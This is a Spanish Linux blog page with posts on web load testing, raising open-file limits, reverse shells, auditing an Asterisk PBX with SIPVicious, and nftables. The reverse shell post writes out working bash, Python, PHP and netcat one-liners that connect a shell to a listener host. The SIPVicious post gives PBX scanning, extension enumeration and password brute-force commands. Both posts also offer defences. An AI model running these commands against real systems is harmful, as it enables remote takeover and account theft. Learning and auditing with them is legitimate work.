Información blog

Linux, tutoriales, noticias, sistemas, redes y seguridad informática, entre otras cosas.

martes, 29 de octubre de 2019

Cómo realizar pruebas de carga en nuestro servidor Web

Una de las labores más importantes a la hora de montar un servidor web, es la dimensionarlo correctamente para poder realizar sus labores de forma efectiva. Generalmente a la hora de realizar el dimensionamiento se suele tender a optimizar el servidor lo máximo posible, con los recursos disponibles, para poder soportar el máximo de conexiones posibles, pero aun así, siempre es importante intentar forzar dicho servidor por encima de su capacidad máxima con el fin de ver cómo reacciona... Esto puede ser una labor sencilla si el servidor soporta muy pocas conexiones, pero y si soportase 1000 conexiones simultáneas o más? Afortunadamente existen herramientas especializadas de Linux que nos pueden ayudar a realizar testear nuestro servidor web... Entre ellas hay dos especialmente conocidas: Apache Benchmark  y JMeter.

portada_pruebas_carga

Apache Benchmark

Si bien esta utilidad se puede considerar bastante inferior a JMeter, se trata de una utilidad que tiene la ventaja de que te permite realizar pruebas rápidas desde la consola sin tener la necesidad de tener una interfaz gráfica, cosa que evita el obligarnos a depender de un entorno de escritorio para poder utilizarla. La herramienta en sí es muy fácil de instalar, ya que es parte del conjunto de utilidades estándares de Apache2, llamada apache2-utils, con lo que lo podemos instalar de los repositorios tal que así:

apt-get install apache2-utils

Con esto instalado, podemos hacer pruebas de carga de forma muy rápida mediante el comando ab; donde la sintaxis sería:

ab -c concurrencias -n numero_de_peticiones -r URL

El parámetro -r sería importante, ya que evitaría que el comando se interrumpiese aún cuando hubiese algún error... Además es importante resaltar que la URL tiene que apuntar siempre a un fichero web... Por ejemplo si tenemos un servidor web con IP 127.0.0.1, no valdría con poner dicha IP como URL sino que habría que poner http://127.0.0.1/index.html pues en caso contrario Apache Benchmark pensaría que la URL es errónea.

En caso de querer hacer 1000 peticiones con 20 concurrencias a la URL atrás mencionada, haríamos:

ab -c 20 -n 1000 -r http://127.0.0.1/index.html

Esto nos daría como resultado una serie de líneas, entre las cuales se resaltarían las últimas donde se muestran el porcentaje de paquetes que ha tardado X milisegundos en tener respuesta:

prueba_carga_ab
Resultado prueba carga Apache Benchmark

Lo malo que tiene esta herramienta, es que carece de opciones de personalización a la hora de realizar las pruebas de carga; es decir, no puedes decir si las peticiones se van a hacer de forma controlada, o como un ataque DOS... Simplemente las realiza lo más rápido que puede y listo... Lo cual viene por un lado bien para saber cómo se comporta bajo cierta presión, pero que no emula entornos realistas. Es por eso que esta herramienta tienes sus pros y sus contras y es ahí donde JMeter marca la diferencia, ya que dicha herramienta sí que tiene un mayor abanico de opciones.

Apache JMeter

En este caso para poder siquiera instalar la aplicación es 100% necesario tener instalado un entorno de escritorio, pues instalar elementos gráficos. El entorno de escritorio en sí es indiferente, puede ser XFCE, KDE, Gnome... Al gusto de cada uno... Cumpliendo dicho requisito habría que escribir en la consola:

apt-get install jmeter

Esto preparará todo lo necesario para que Jmeter sea utilizable, si bien Jmeter tiene una peculiaridad. La configuración de los diferentes parámetros y planes de pruebas se realizan desde de la GUI, pero la ejecución del plan de pruebas es extremadamente recomendable hacerlo desde la consola; recomendación que es dada por los propios desarrolladores de la utilidad.

Con lo que teniendo esto claro, primero abriríamos la aplicación desde la GUI, aplicación que, desgraciadamente, al ser tan completa, puede ser algo intimidante inicialmente.

El primer paso que habría que ejecutar sería la creación de un Grupo de Hilos; dicho paso es vital pues marca el número de peticiones simultáneas que se harían, el intervalo entre éstos y el número de veces que se lanzarían peticiones (pudiendo ser infinito); las capturas de a continuación serían realizadas desde un Ubuntu 18.04, capturas en las que, en este caso mostraríamos 100 peticiones simultáneas realizadas cada segundo continuamente :

nuevo_grupo_hilos
Nuevo grupo hilos

configuracion_grupo_hilos
Configuración grupo hilos

Con esto tendríamos las peticiones preparadas; lo que habría que especificar sería qué peticiones se desean realizar... Aquí tenemos diferentes opciones, pero la más común y usada sería una petición HTTP; petición en la que únicamente sería necesario especificar que sería del tipo GET y la IP y puerto de destino de dichas peticiones; habría una serie de parámetros adicionales, pero todos ellos serían completamente optativos:

nueva_peticion_http
Petición HTTP


opciones_peticion_http
Opciones petición HTTP

Por último pero no por ello menos importante, tendríamos que crear un reporte de resumen, el cual nos servirá para conocer los resultados de nuestras pruebas. El cual se encontraría dentro de: Añadir --> Receptor --> Reporte Resumen.  El resumen se puede ver en texto plano desde la propia consola, pero desde la herramienta tendríamos el resultado mostrado de forma sintetizada, lo cual nos es ventajoso.

Ahora que tenemos todo preparado, guardaríamos el proyecto, el cual siempre es guardado en formato .jmx, por ejemplo plan_de_pruebas.jmx. Solamente sería necesario ejecutar dicho plan, ejecución que aunque se puede hacer desde la GUI, tal y como he comentado antes es recomendable hacerlo desde la consola. El comando para ejecutarlo sería:

jmeter -n -t plan_de_pruebas.jmx -l Resumen.jtl

El parámetro -l seguido del fichero jtl sería importante, pues estaríamos especificando donde guardar los resultados de las pruebas realizadas; pruebas que siempre se guardan en ficheros en formato .jtl, si bien se puede leer de forma "normal" haciendo un simple cat sobre dicho fichero.

Gracias a dicho comando estaríamos ejecutando el plan de pruebas, que se estaría ejecutando de forma continua a menos que se pulsase la combinación de teclas CTRL + C, debido a que se trata de una prueba infinita. Esto estaría haciendo una prueba de carga "infinita" sobre el servidor de destino, prueba sobre la que tendríamos más control que mediante Apache Benchmark.

El informe de salida lo podríamos leer dirigiéndonos al `Reporte resumen` antes creado y clickando en navegar para seleccionar el informe generado por nuestras pruebas; en nuestro caso Resumen.jtl... A continuación una pequeña muestra de dicho informe:

reporte_resumen
Informe Jmeter


Como se puede observar, la aplicación JMeter ofrece una amplia gama de posibilidades; estas son solo algunas de ellas, pero las mostradas serían las más "comunes" y usadas. Eso no implica que Apache Benchmark no sea útil; cada una ofrece una serie de características, la cuestión está en saber qué aplicación se adapta mejora nuestras necesidades, al igual que también no siempre se puede contar con una interfaz gráfica, y ahí es donde JMeter flaquea, pues dicho entorno es un requisito para la propia instalación.

Espero que os haya resultado útil.

Saludos.

lunes, 21 de octubre de 2019

Cómo solucionar el error too many open files en Linux

En un servidor en producción de Linux con bastante carga pueden ocurrir errores tipo "Too many open files" o que los servicios no puedan abrir más sockets (ficheros) de conexión. Esto se debe a que en Linux se pueden establecer limites de ficheros abiertos simultáneamente y ésta limitación es por usuario.  Puede parecer un error raro, pero en caso de tener un servidor SQL y/o web, no es un error tan extraño, dependiendo del volumen de información tratado.

toomanyopenfiles

Para solucionarlo hay que cambiar la configuración en varios sitios, pero primero hay que comprobar la configuración actual:

ulimit -n

Esto nos indicará la cantidad máxima por usuario y sesión. El valor por defecto es 1024, lo que aunque en un principio, pueden parecer muchos, no siempre dan basto, especialmente cuando se trabaja con un sistema que tiene un servidor web/SQL instalado, ya que éstos trabajan con muchos ficheros temporales y los necesita mantener abiertos por cuestiones de rendimiento. Para cambiar este valor:

ulimit -n 75000

Este comando aplicará el cambio en términos de la sesión actual. Para hacerlo persistente tenemos que editar los límites a nivel de configuración del sistema, lo cual se realizaría en /etc/security/limits.conf

root soft core unlimited
root hard core unlimited
root soft memlock 131072
root hard memlock 131072
root soft nofile 999999
root hard nofile 999999

Luego, aparte de limites por usuario y sesión, existen limites a nivel del propio sistema operativo. Para ajustarlos habría que editar el fichero /etc/sysctl.conf, el cual realiza cambios a nivel de kernel,  y añadir esta línea al final:

fs.file-max = 999999

Con esto ya tendríamos el cambio aplicado, para que haga efecto podemos o bien recurrir al clásico reinicio o bien ejecutar el comando:

sysctl -p

Con esto ya tendríamos los nuevos límites establecidos en el sistema, evadiendo así los errores del tipo too many open files.

Espero que os haya resultado útil.

Saludos.

martes, 15 de octubre de 2019

Reverse shell, una curiosa y al mismo tiempo peligrosa técnica

Recientemente, navegando por Internet y curioseando un poco de todo, me he encontrado con una técnica que, si bien no es en absoluto reciente, sí que me parece muy curiosa de compartir. Una técnica que si bien es generalmente usada por atacantes maliciosos (generalmente en rootkits), conceptualmente me parece una técnica muy interesante, pues como con todo, se le puede sacar partido para bien; solo es cuestión de verlo desde la perspectiva de los buenos. Se trata de la creación de shells remotos, cuya técnica se llamada Reverse Shell

reverse_shell

Como su propio nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell que se está ejecutando en estos momentos. Esto puede ser útil en equipos a los que queremos tener acceso remoto y no se pueda utilizar SSH, es cierto que es sin lugar a dudas una técnica peligrosa, y que lo ideal es usar SSH como todo el mundo,pero el hecho de saber que la técnica está allí puede resultar interesante; ya sea para nuestro propio uso o para ser conscientes de que existe dicha posibilidad. 

Para éste método se usan dos máquinas; una "atacante" que sería la que ejecutaría la shell remota, y una "victima", que sería el equipo cuya shell remota deseamos obtener. En el equipo atacante el único requisito sería tener instalada la herramienta netcat. En el de la "victima" en cambio no sería 100% necesario, pues habría diferentes métodos para realizar la shell remota; hay que tener en cuenta que conceptualmente lo que haríamos sería ponernos con netcat a "escuchar" en un puerto y desde la otra máquina, intentaríamos mediante diferentes métodos establecer una conexión con el puerto del atacante para darle el control de nuestra shell en cuestión.

Hay distintos métodos para conectarnos con la otra máquina, uno por cada "lenguaje" mediante el que queramos comunicarnos con la otra máquina. Es importante tener en cuenta que todos los métodos requieren que haya un cierto software instalado, y que en caso de no estar instalado, no se podría utilizar dicho método de comunicación.

Primero de todo pongámonos a escuchar desde la máquina "atacante"; es tan sencillo como hacer:

nc -lvp PUERTO

Siempre es recomendable "escuchar" en puertos altos, ya que así sabremos que dicho puerto no está en uso; un ejemplo genérico podría ser:

nc -lvp 10000

Con esto ya estaríamos escuchando; esta acción solamente indicaría que nosotros estamos esperando en dicho puerto a que alguien establezca una conexión contra el susodicho; es en el equipo cuya shell queremos "copiar", donde ejecutaríamos las conexiones. A partir de ahora, pensaremos que las conexiones se realizarán contra la IP 192.168.1.112. La conexión más estándar que funciona en casi todas las máquinas Linux, sería mediante bash, ya que es prácticamente estándar en todas.:

Bash:

Lo bueno que tiene realizar está técnica es que es relativamente fácil de recordar, ya que es un simple bash -i > seguido del tipo de conexión que sería /dev/tcp/ y despues la IP del objetivo seguido de /puerto; los últimos parámetros solamente son para re-dirigir cualquier cualquier mensaje de salida a la consola.

bash -i >& /dev/tcp/192.168.1.112/10000 0>&1

Python:

Otro método con el que puedes realizar un reverse shell es mediante python, ya que va instalado en prácticamente todos los equipos Linux, pero tiene como pega que la sintaxis sería más complicada que en el ejemplo anterior, ya que la conexión se realizaría mediante una porción de código de python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.112",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

El lenguaje que uno puede usar para esto puede ser cualquiera; en este caso se ha usado Python porque es el que más probabilidades tiene de estar instalado en la máquina remota, pero otros lenguajes tales como Perl (relativamente común), o cualquier otro, desde C++ hasta incluso con C#.

PHP:

Si bien he dicho que se puede hacer un reverse shell con cualquier lenguaje, creo que es conveniente destacar PHP, ya que también lo permite aunque cueste creerlo. Aún siendo un lenguaje para servidores web, nos permite realizar un reverse shell:

php -r '$sock=fsockopen("192.168.1.112",10000);exec("/bin/bash -i <&3 >&3 2>&3");'

Netcat:

Por último, es interesante saber que también se puede hacer un reverse shell en el objetivo mediante netcat, al igual que hemos puesto netcat escuchando en el "atacante", podemos conectarnos con el otro lado usando la misma herramienta; la única pega que tiene es que requiere estar instalada, cosa que no siempre es así.

nc -e /bin/bash 192.168.1.112 10000

Existen otras herramientas, como ShellReverse, que son algo más completas debido a que son herramientas que agrupan diferentes lenguajes, pero en este caso he preferido mostrar a nivel conceptual las posibilidades que tenemos para hacer el reversing y el concepto que hay detrás, más allá de usar una herramienta y listo.

Lo importante es que si lo conseguimos, tendremos una terminal de shell remota que será una réplica exacta de la shell desde la que se ha ejecutado el comando, incluyendo el usuario que ha ejecutado el comando y sus permisos, lo que hace que si por ejemplo se ejecuta una reverse shell como root, el equipo atacante tendrá una terminal de root, lo que confiere control total sobre el sistema, para bien y para mal.

En caso de haberse usado de forma voluntaria por el propio usuario, tendremos nuestro objetivo conseguido, pero en caso contrario tendremos un usuario no grato controlando remotamente nuestro equipo...

Se puede prevenir?

Visto esto, podemos deducir que aunque el recurso en parte puede ser valioso para según que casos; también tenemos la pega de que el método es una vía que puede brindar acceso a gente no grata; acceso que en caso de haberse realizado como usuario root, significaría nuestro fin...

Desgraciadamente para este caso concreto no hay una forma efectiva de blindarnos... Cualquier cortafuegos que intentemos poner para nuestras conexiones salientes puede limitar nuestro sistema. Supongamos que bloqueamos las conexiones salientes... Bloqueamos todas? Bloqueamos las conexiones con estado "new"? No es factible... En caso de querer bloquear puertos... Cuales bloquear? Por mucho que se bloqueen varios puertos, siempre tiene que haber alguno abierto, y dicho puerto se puede usar para realizar el reverse.

La única solución posible es intentar tener el sistema actualizado, no abrir correos sospechosos (en caso de sistemas de escritorio) y sobre todo, intentar siempre que se pueda, instalar los paquetes desde los repositorios oficiales vía APT... Es cierto que los repositorios no tienen todo, pero en un gran número de casos cumplen su función sin tener que recurrir a páginas de terceros... Es cierto que como siempre digo la seguridad absoluta no existe y que a veces aún cuando se toman todas estas medidas de seguridad pueden no servir... Un simple USB o un descuido puede hacer que esto ocurra, pero nunca está de más intentar, al menos, no poner las cosas fáciles a aquellos que nos quieren atacar.

Espero que os haya resultado útil.

Saludos.

lunes, 7 de octubre de 2019

Auditar nuestra centralita Asterisk con SIPVicious

Siempre que se piensa en el concepto de la seguridad, se parte del concepto: Mínima superficie de exposición, mínimo privilegio posible. Concepto que si bien es importante, no implica que un servicio sea inexpugnable, pues si bien siempre se intenta que un servicio no sea accesible desde lugares indeseados, hay ciertos servicios tales como páginas web o centralitas de Asterisk, que tienen que tener cierta flexibilidad. Esa flexibilidad nos ofrece ciertas ventajas, pero al mismo tiempo pueden ser posibles objetivos de ataques no deseados... Ataques que siempre conviene tener en cuenta.

sipvicious

Es por ello que hay algunas herramientas que nos pueden ayudar a realizar auditorías sobre nuestras centralitas de Asterisk, y que pueden servirnos para "poner a prueba" nuestro sistema; ya que nos ayuda a prevenirnos de ataques reales que pueden ser muy dañinos. Supongamos que alguien se hace con el control de una extensión telefónica capaz de hacer llamadas internacionales; en muy poco tiempo el coste económico de la medida sería brutal. Es por ello que mediante estas herramientas podemos hacernos una idea de las fortalezas y debilidades de nuestra PBX. Hay múltiples herramientas, pero la más popular sería SIPVicious.

SIP Vicious es una herramienta de software libre muy extendida que incluso está incluida hoy en día dentro de la archi-conocida distribución Kali. Para poder utilizarla, esta utilidad usa por defecto el puerto 5060 para escuchar los mensajes de respuesta, a menos que esté en uso por nuestro propio Asterisk u otro servicio, en cuyo caso usaría el siguiente puerto que esté libre (5061,5062...); con lo que es importante tener esos puertos abiertos en el equipo atacante si queremos poder recibir los mensajes de respuesta.

La utilización es muy sencilla, y solamente requiere tener python instalado (el cual ya viene pre-instalado la gran mayoría de las veces) y si caso la herramienta git, si bien no es necesario al 100%, nunca viene mal tenerla instalada. En caso de no utilizar git, sí que sería necesario descargarnos la herramienta zip.

Para descargar la aplicación, siempre y cuando no se use Kali que ya la incluye por defecto, la cual se encuentra Github, se puede hacer desde la consola de dos formas; o bajando el fichero comprimido o vía git:

Vía git:
git clone https://github.com/EnableSecurity/sipvicious.git

Vía directa:
wget https://github.com/EnableSecurity/sipvicious/archive/master.zip
unzip master.zip

Cualquiera de estos procedimientos dará como resultado una carpeta que puede llamarse sipvicious en caso de usar git, o sipvicious-master, pero independientemente del nombre ambos tienen el mismo contenido, dentro del cual el que nos interesa es el que se encuentra dentro de la subcarpeta sipvicous. Dicha carpeta tiene diferentes programas escritos en python, dentro de los cuales, 3 serían los que principalmente nos interesarían: svmap.py svwar.py y svcrack.py.

La primera herramienta, svmap.py, sería la que usaríamos para escanear un rango de IPs a nuestra elección, junto con sus respectivos puertos con el fin de ver si se encuentra alguna que dé como respuesta alguna PBX, como por ejemplo Asterisk. Dicho escaneo usaría la sintaxis:

svmap.py -p puerto_inicio-puerto_fin IP_inicio-IP_fin -m opciones

El puerto sería opcional, y se podría poner un puerto únicamente si se desea; en caso de no usar ninguno, se usaría el puerto standard SIP, 5060. Con respecto a la IP que se desea escanear, se puede poner  una sola o un rango de IPs, dependiendo de nuestras necesidades. En caso de querer testear solamente nuestro equipo, solamente con una IP sería suficiente...

En el apartado opciones, es opcional usarlo, pero una opción muy común sería la de INVITE, ya que es mensaje que se envía a una PBX cuando un usuario se desea registrar. Un comando de ejemplo podría ser:

./svmap.py -p 5060 192.168.1.102 -m INVITE

Esto nos puede dar como resultado o bien un resultado nulo, que sería lo deseable, o bien que nos dé información de la PBX, incluyendo la versión que usa el equipo contrario. Por ejemplo, usando dicho comando contra mi Asterisk, me ha dado como resultado:

svmap_ejemplo

En caso de que se muestre este mensaje en nuestra centralita, lo ideal sería intentar ocultarlo lo antes posible, pues esto nos brinda dos datos a nuestro atacante. El primero es que el puerto 5060 tiene un Asterisk asociado, lo cual es susceptible a ataques, pero no solo eso, sino que además nos brinda la versión de éste, que puede ser más peligroso aún, ya que si uno conoce la versión de software que uno usa, puede buscar vulnerabilidades asociadas a dicha versión, que puede hacer innecesario el utilizar ataques de fuerza bruta contra la centralita.

Supongamos que hemos recibido el mensaje anterior, lo que pasaríamos a hacer ahora sería a intentar ver qué extensiones están "disponibles" en nuestro objetivo. Esto lo lograríamos mediante la segunda utilidad: svwar.py

La utilidad svwar, es una utilidad muy simple que se dedica a mandar peticiones de registro contra la centralita objetivo. Si la PBX devuelve un mensaje "No matching peer found" o no respondiese, consideraría que no hay una extensión asociada, pero en caso de que considerase que la contraseña introducida para el registro, no es correcta, interpretaría que SÍ que hay una extensión, extensión contra la que se podría intentar hacer un ataque de fuerza bruta. La sintaxis es extremadamente simple en este caso:

svwar.py -e extension_inicio-extension_fin IP

Teniendo en cuenta que las extensiones, generalmente son de entre 3 y 4 dígitos, un ejemplo contra la PBX que tengo de pruebas podría ser:

./svwar.py -e000-9999 192.168.1.102

Hay que tener en cuenta que a mayor el rango de extensiones, mayor el tiempo invertido. A modo de curiosidad, si tenemos una sesión de consola de Asterisk abierta en la máquina objetivo (el clásico asterisk -rvvvv), veremos un sin fin de mensajes parecidos a este; un mensaje por cada extensión no existente:

svwar_ejemplo1

Al acabar el barrido, en caso de que alguna extensión le haya respondido a la herramienta, tendremos un resultado parecido al siguiente:

svwar_ejemplo2

Ya sabemos todo lo que necesitábamos saber; sabemos que la IP 192.168.1.102, tiene un Asterisk montado en el puerto 5060 y además sabemos que hay una extensión 1001, configurada en dicha centralita. Solo queda usar la tercera herramienta mencionada antes, svcrack.py para intentar obtener, si se puede, la contraseña.

Los ataques aquí se pueden hacer de dos formas, o bien a fuerza bruta mediante dígitos, o bien vía diccionario. En caso de hacerlo mediante fuerza bruta, lo que se haría sería probar diferentes combinaciones numéricas hasta acertar con el número. En caso de que en cambio se optasen por un ataque de diccionario, se tendría que tener el diccionario, en formato txt y se recurriría a él para hacer el ataque; por ejemplo, para el ataque por fuerza bruta haríamos:

./svcrack.py -u 1001 -r 0000-9999 192.168.1.102

Donde después del -u se especificaría la extensión que se desea "atacar" y después del -r especificaríamos el rango de números a utilizar como contraseña. En este caso se ha usado una contraseña débil, y desgraciadamente bastante común; la cual ha tardado apenas unos segundos en descifrar la herramienta:

svcrack_ejemplo

Para el ataque de diccionario en cambio, en vez de usar el parámetro -r, usaríamos el parámetro -d, seguido del diccionario que querríamos usar.

svcrack.py -u 1001 -d diccionario.txt 192.168.1.102

Mediante dicho método, el tiempo que tardaría en descifrar la contraseña variaría, pero en caso de usar contraseñas alfanuméricas, sería el único método posible.

COMO EVITARLO

Como siempre digo, la seguridad absoluta no existe, pero es cierto que al menos hay que intentar ponérselo difícil al atacante; es por ello que las dos primeras que hemos utilizado, para encontrar centralitas Asterisk, y para rastrear extensiones en la susodicha, se pueden evitar añadiendo una sola línea en el fichero /etc/asterisk/sip.conf:

alwaysauthreject=yes

Dicho parámetro en Asterisk 16 ya está habilitado por defecto (sin tener que siquiera añadir nada al fichero de configuración), pero en la gran mayoría de versiones no es así, con lo que es ideal ponerlo a mano en el fichero con el fin de estar seguros.

Al establecer un valor yes a dicho parámetro, lo que haríamos sería denegar la la respuesta a las autenticaciones de usuarios incorrectos o inexistentes, cosa que se hace mediante las herramientas svmap y svwar... Puede parecer un detalle sin importancia pero mediante la combinación de dicha media, junto con el uso de un puerto SIP no estandard (a poder ser un número de puerto muy alto), nos quitaríamos de un barrido el 90% de los scripts automatizados que se dedican a hacer barridos y ataques automáticos a los puertos 5060.

Eso no implica que mediante esto hagamos inmune a nuestra centralita, pero sí que evitaremos dar información al atacante, lo que hará que éste no empiece a hacer ataques de fuerza bruta contra una extensión nuestra centralita SIP, a menos que haya obtenido la información por otros medios.

Para los ataques de fuerza bruta que se hagan contra la extensión, solamente se pueden dar dos recomendaciones; la primera muy sencilla de implementar, la segunda ya depende de los medios que uno disponga.

La primera medida sería la obvia, usar contraseñas seguras para nuestras extensiones. A poder ser largas y alfanuméricas; es más al usar contraseñas alfanuméricas.

La segunda medida sería, no compleja, pero sí requeriría un cierto esfuerzo por parte de uno, y sería el uso de utilidades tales como Fail2ban, que entre otras cosas pueden bloquear los intentos repetidos de conexión/autenticación contra un destino. Hay que tener en cuenta que los ataques de fuerza bruta o de diccionario realizan un número ingente de autenticaciones, con lo que si lo podemos evitar mediante dicha herramienta podremos, dificultarle en gran medida el ataque a nuestro agresor.


Espero que os haya resultado útil, y que podáis sacarle partido a esta utilidad que puede ayudarnos a ver en si nuestra centralita esta debidamente protegida o no.

Saludos.



martes, 1 de octubre de 2019

Nftables, el sucesor de iptables

La tecnología evoluciona constantemente, a veces a costa de imposiciones de ciertos criterios, y otros a costa de comparar los pros y los contras. Iptables ha sido siempre el principal referente en el área de firewalls para Linux; es cierto que a raíz de ahí nacieron herramientas intuitivas que intentaban hacer un uso más fácil de éste, pero generalmente se usaba dicha tecnología como referencia. Obviamente, con el paso del tiempo, se han ido optando por diferentes alternativas, pero siempre intentando mantener iptables ahí, pero con la introducción de "Debian 10 (Buster)" y las últimas versiones de Red Hat, se ha ido imponiendo su sucesor, considerando al veterano firewall como obsoleto. Hablamos de nftables.

nftables_portada

Nftables es un software creado por netfilter que podría considerarse como la evolución natural de nftables, que ha intentado adaptar la sintaxis a los nuevos tiempos, con el fin de que la escritura de las reglas de este software sea algo más intuitiva que la de su predecesor.

La dinámica que utilizar este software es bastante parecida a la de iptables, en el sentido de que tal y como ocurre con su predecesor,  nftables se divide por tablas, las cuales tienen dentro cadenas, dentro de las cuales se añaden las reglas. En caso de haber usado iptables con anterioridad dichos conceptos os serán familiares, en caso contrario es importante tenerlos claros antes de continuar, ya que en caso contrario el entendimiento de la herramienta será muy difícil. Además es importante saber que las reglas de nftables se pueden definir o bien directamente en consola o bien mediante un fichero de configuración.


TABLAS

Las tablas están compuesta por una o varias cadenas; en iptables éstas seguían una lógica, ya que se agrupaban en cadenas de tipo filter, nat y mangle; en nftables podemos hacer que nuestras tablas tengan las cadenas que queramos, pero lo ideal, en términos de gestión es que sigan una lógica parecida, aunque no es obligatorio. En resumen, una tabla no es más que una o a varias cadenas agrupadas bajo un nombre común desde el cual se hacer referencia a éstas.  Las tablas pueden tener el nombre que queramos, pero es importante tener en cuenta que éstas pertenecen a diferentes familias, y que dependiendo del tipo, se tendrán en cuenta un tipo de paquete de red u otro:
  • ip: La familia por defecto, en caso de que no le digamos nosotros otra cosa. Éste solamente tendrá en cuenta los paquetes de red IPv4.
  • ip6: Como su propio nombre indica, tendrá en cuenta los paquetes IPv6.
  • inet: Una familia híbrida que contemplará ambos protocolos de IP, y que, dependiendo de a lo que hagamos referencia, tendrá en cuenta un tipo de IP u otra, o ambas, Por ejemplo si se hace referencia a una IPv4, se aplicará la regla para los paquetes IPv4, pero si hacemos referencia solamente a un puerto (por ejemplo el 80), sin especificar una IP de origen o de destino, se tendrán en cuenta ambos protocolos. Esta familia no funciona en las cadenas NAT (de esto hablaremos más adelante), al menos de momento, debido al bug 1173, con lo en caso de querer usar cadenas de dicho tipo para paquetes IPv4 e IPv6, habría que crear 2 tablas separadas, una perteneciente a la familia ip y la otra a ip6.
  • arp: Esta familia solamente tendrá en cuenta el tráfico ARP.
  • bridge: Esta familia entraría en acción en las interfaces de tipo bridge, que hayan sido creadas en el sistema.
  • netdev: Aquí se tratará el paquete antes de que sea procesado por la interfaz de red. No se tiene en cuenta si es IPv4 ni IPv6; desde aquí se ve todo, y es útil para el bloqueo de ataques DOS o DDOS, ya que lo deniega antes de ser procesado, tomándole menos tiempo al sistema el desecharlo.

La primera vez que se instala nftables, crea una tabla llamada filter del tipo inet, pero es importante conocer cómo agregar nuevas tablas. 

Para ello, antes de empezar a hacer nada, es muy recomendable cargar todos sus módulos de nftables en el kernel, ya que en caso contrario nos podremos encontrar errores tales como 'Could not process rule: No such file or directory'. Para ello lo recomendado por los propios desarrolladores del proyecto, es crear el fichero /etc/modules-load.d/modules-nftables.conf e introducir el siguiente contenido para después reiniciar el equipo:

nf_conntrack
nf_conntrack_ipv4
nf_conntrack_ipv6
nf_defrag_ipv4
nf_defrag_ipv6
nf_nat
nf_nat_ipv4
nf_tables
nf_tables_inet
nf_tables_ipv4
nf_tables_ipv6
nfnetlink
nft_counter
nft_ct
nft_hash
nft_limit
nft_log
nft_meta
nft_rbtree
nft_reject
nft_reject_inet
nft_reject_ipv4
nft_reject_ipv6

Con todos los preparativos realizados, para crear una nueva tabla escribiremos la siguiente sintaxis:

nft add table 'familia' 'nombre'

Por ejemplo, para crear una tabla llamada "filter" que contemple los paquetes IPv4 e IPv6, haremos:

nft add table inet filter

Con ello ya tendríamos nuestra primera tabla creada, tabla que puede ser borrada o que cuyo contenido puede ser listado o borrado sustituyendo add por delete, list y flush, respectivamente.


CADENAS

Las cadenas son simples contenedores de reglas. A diferencia de en iptables, que ya había una serie de cadenas predefinidas, tales como INPUT, OUTPUT, en nftables no existe ninguna por defecto, sino que tienen que ser creadas. La creación de cualquier cadena tendría una sintaxis como la siguiente:

nft add chain 'familia' 'tabla' 'nombre_cadena' {type 'tipo' hook 'estado_del_paquete' priority 'prioridad'; policy 'politica';} 

Las familias y las tablas ya las conocemos, con respecto al tipo, tenemos cadenas de tres tipos:
  • filter: Este tipo de cadena se encarga del filtrado de paquetes.
  • route: Permite rutar los paquetes salientes
  • nat: Se utiliza para aplicar reglas de nateo de paquetes, es decir, para la conversión de IPs.

Por otro lado tenemos el estado del paquete, el cual viene 'heredado' de su predecesor, iptables, y que dependiendo del tipo que hayamos escogido, se podrá hacer referencia a un estado u otro del paquete. Los estado sería input, output, forward, prerouting y postrouting. Los tres primeros son intuitivos, mientras que prerouting se utilizaría para tratar una interfaz que está a punto de ser rutada  y postrouting se utilizaría para tratar la interfaz tras haber sido rutada.  

Obviamente no todos los tipos se pueden usar en todas las familia al igual que no todos los estados se pueden usar para todos los tipos, con lo que a continuación dejo una pequeña tabla que puede servirnos como guía orientativa que nos puede servir de ayuda en la creación de cadenas:

tabla_hooks_nft

Además, podemos definir la prioridad que tendrá la cadena con respecto al resto de la misma tabla. Aquella que tenga el número más bajo (pudiendo ser negativo), será aquella que se ejecutará antes.

Además podemos también definir, de forma opcional, la política que queremos que tenga la cadena por defecto, de entres las cuales las más comunes serían: accept o drop, es decir permitir o denegar. En caso de no definir ninguna política, nftables define automáticamente que la política será accept.

Con toda esta información en mano, podemos crear varias cadenas de prueba. Por ejemplo, siguiendo la lógica del ejemplo inicial, en el que hemos creado una tabla llamada filter, vamos a crear las 3 cadenas de filtrado básicas que ya venían predefinidas en iptables, las cuales se llamaban input, output y forward. Estas cadenas, para este ejemplo, estarán abiertas por defecto, es decir que serán 3 cadenas vacías que no harán nada por defecto; solo existir y que dejarán que las reglas definidas dentro de éstos sean los que dictaminen los comportamientos:

Para crear la cadena llamada input, que se encargará de contener las reglas de los paquetes entrantes, haremos:

nft add chain inet filter input { type filter hook input priority 0\; policy accept\; }

Para las cadenas output y forward haríamos lo equivalente:

Output:
nft add chain inet filter output { type filter hook output priority 0\; policy accept\; }

Forward:
nft add chain inet filter forward { type filter hook forward priority 0\; policy accept\; }


REGLAS

Finalmente con todos estos preparativos creados, podemos empezar a crear nuestras reglas. Dichas reglas siempre tendrán que ir dentro de una cadena perteneciente a una tabla; de ahí todos los preparativos realizados hasta ahora.  Dichas reglas, pueden parecer algo abrumadoras al principio por las gran cantidad de posibilidades que ofrecen, pero a su favor hay que decir que son bastante intuitivas. La creación de reglas sigue esta sintaxis

nft add rule 'familia' 'tabla' 'cadena' 'expresión'

Inicialmente todo estaría claro a excepción de la expresión en sí, que sería lo que definiría la regla. Las expresiones son unas reglas que tienen que coincidir bajo ciertas circunstancias y que tras las cuales se deciden ciertas acciones. Esto dicho así puede parecer lioso, pero al final sería definir la regla, su argumento y la acción que se realizará al respecto... Es mejor empezar con un ejemplo sencillo que definiría la regla más sencilla posible; vamos a crear una regla que impida que puedan acceder al puerto 80. La regla se añadiría tal que así:

nft add rule inet filter input tcp dport 80 drop

En esta regla estaríamos diciendo que todo el tráfico TCP al puerto 80 sería bloqueado, y como podéis observar la expresión en sí es intuitiva. Existen muchísimas expresiones y reglas, y aquí sería imposible abarcar todas, pero las más comunes serían:

oifname 'nombre de la interfaz SALIENTE'
iifname 'nombre de la interfaz ENTRANTE'

ip protocol 'protocolo'
ip daddr 'direccion IPv4 de DESTINO'
ip saddr 'direccion IPv4 de ORIGEN'

ip6 daddr 'direccion IPv6 de DESTINO'
ip6 saddr 'direccion IPv6 de ORIGEN'

tcp dport 'puerto de DESTINO'
tcp sport 'puerto de ORIGEN'

udp dport 'puerto de DESTINO'
udp sport 'puerto de ORIGEN'

ct state 'new | established | related | invalid'

